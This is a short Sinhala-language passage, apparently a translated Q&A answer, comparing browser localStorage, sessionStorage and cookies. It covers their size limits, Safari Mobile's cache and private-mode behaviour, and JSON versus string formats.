සටහන: iOS 5.1 සිට සෆාරි මොබයිල් විසින් දේශීය ගබඩා දත්ත හැඹිලි ෆෝල්ඩරයේ ගබඩා කරයි, එය වරින් වර පිරිසිදු කිරීමට යටත් වේ, මෙහෙයුම් පද්ධතියේ අභිමතය පරිදි, සාමාන්‍යයෙන් අවකාශය කෙටි නම්. සෆාරි මොබයිල් හි පුද්ගලික පිරික්සුම් මාදිලිය දේශීය ගබඩාවට ලිවීම සම්පූර්ණයෙන්ම වළක්වයි.


7

දේශීය ගබඩාවට නොබැඳි දත්ත 5mb දක්වා ගබඩා කළ හැකි අතර සැසියට 5 mb දත්ත දක්වා ගබඩා කළ හැකිය. නමුත් කුකි වලට පෙළ ආකෘතියෙන් ගබඩා කළ හැක්කේ 4kb දත්ත පමණි.

LOCAl සහ සැසි ගබඩා දත්ත JSON ආකෘතියෙන් විග්‍රහ කිරීම පහසුය. නමුත් කුකීස් දත්ත නූල් ආකෘතියෙන් ඇත.

By using our site, you acknowledge that you have read and understand our Cookie Policy and Privacy Policy.
Licensed under cc by-sa 3.0 with attribution required.